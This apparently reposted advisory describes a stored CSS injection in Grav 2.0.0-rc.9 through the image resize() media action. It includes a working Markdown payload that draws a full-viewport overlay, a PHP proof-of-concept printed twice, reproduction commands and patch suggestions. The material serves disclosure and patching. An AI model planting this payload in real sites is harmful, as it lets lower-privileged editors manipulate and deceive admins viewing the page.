Listen to this Post
Grav 2.0.0-rc.9 and current 2.0 branch allow stored CSS injection.
The issue is in Markdown image media actions.
Prior media hardening rejects direct ?style= payloads.
It also rejects unsafe attribute() fallbacks.
The adjacent resize() action still writes caller-controlled values.
These values go directly into styleAttributes.
A publisher who can edit page Markdown can store a crafted image URL.
The URL renders additional CSS declarations.
The declarations appear in the final attribute.
This crosses a lower-privileged publisher to higher-privileged reviewer/admin boundary.
The same boundary was relevant to earlier media style and attribute advisories.
A lower-privileged content editor can persist CSS declarations.
The declarations render when a higher-privileged user views the page.
They also render in admin preview.
The demonstrated payload creates a full-viewport fixed overlay.
It injects position:fixed.
It injects viewport dimensions.
It injects background color.
It injects z-index declarations.
This does not require JavaScript execution.
The impact is stored CSS injection in rendered content.
There is UI redress and overlay risk.
There is content-manipulation risk in higher-privileged sessions.
Tested versions include Grav 2.0 branch commit 6582166173bb8eb5869d96aea384e0e73777c94c.
Tested versions include Grav 2.0.0-rc.9 commit e03d29aa0d3ece16d73c1ffccfa78df8bf5f28b8.
Minimal Markdown payload uses resize=100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999,200.
processMediaActions() parses the image query string into media actions.
It invokes the requested public media method with call_user_func_array.
resize() stores width and height directly into style attributes.
parsedownElement() serializes keyed style attributes as raw CSS declarations.
DailyCVE Form:
Platform: Grav 2.0
Version: 2.0.0-rc.9
Vulnerability: Stored CSS injection
Severity: Unspecified
date: Not stated
Prediction: Expected patch TBD
What Undercode Say:
Analytics
git clone https://github.com/getgrav/grav.git cd grav git checkout 6582166173bb8eb5869d96aea384e0e73777c94c grep -R "processMediaActions" system/src/Grav/Common/Page/Markdown/Excerpts.php grep -R "styleAttributes" system/src/Grav/Common/Media/Traits/StaticResizeTrait.php grep -R "parsedownElement" system/src/Grav/Common/Media/Traits/MediaObjectTrait.php
$m = new class {
use \Grav\Common\Media\Traits\MediaObjectTrait;
use \Grav\Common\Media\Traits\StaticResizeTrait;
public function addMetaFile($filepath) {}
public function __toString(): string { return ''; }
public function url($reset = true) { return '/img.png'; }
public function get($name, mixed $default = null, $separator = null) { return $default; }
public function set($name, mixed $value, $separator = null) { return $this; }
protected function createThumbnail($thumb) { return null; }
protected function createLink(array $attributes) { return null; }
protected function getItems(): array { return []; }
};
$excerpts = new \Grav\Common\Page\Markdown\Excerpts(null, ['markdown' => [], 'images' => []]);
$m = $excerpts->processMediaActions(
$m,
'image.png?resize=100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999,200'
);
$element = $m->parsedownElement('', '', '', '', false);
var_dump($element['attributes']['style']);
<img src="image.png?resize=100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999,200" alt="logo" />
width: 100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999px;height: 200px;
Exploit: (Educational Purposes!)
<img src="image.png?resize=100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999,200" alt="logo" />
$m = new class {
use \Grav\Common\Media\Traits\MediaObjectTrait;
use \Grav\Common\Media\Traits\StaticResizeTrait;
public function addMetaFile($filepath) {}
public function __toString(): string { return ''; }
public function url($reset = true) { return '/img.png'; }
public function get($name, mixed $default = null, $separator = null) { return $default; }
public function set($name, mixed $value, $separator = null) { return $this; }
protected function createThumbnail($thumb) { return null; }
protected function createLink(array $attributes) { return null; }
protected function getItems(): array { return []; }
};
$excerpts = new \Grav\Common\Page\Markdown\Excerpts(null, ['markdown' => [], 'images' => []]);
$m = $excerpts->processMediaActions(
$m,
'image.png?resize=100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999,200'
);
$element = $m->parsedownElement('', '', '', '', false);
var_dump($element['attributes']['style']);
Protection: from this CVE
$width = (int) $width; $height = (int) $height; $this->styleAttributes['width'] = $width . 'px'; $this->styleAttributes['height'] = $height . 'px';
if (!is_numeric($width) || !is_numeric($height)) { return; }
if (preg_match('/[;:]/', $value)) { return; }
Impact:
Stored CSS injection in rendered content.
Lower-privileged editor to higher-privileged reviewer/admin.
Full-viewport fixed overlay.
No JavaScript execution.
UI redress/overlay and content-manipulation risk.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

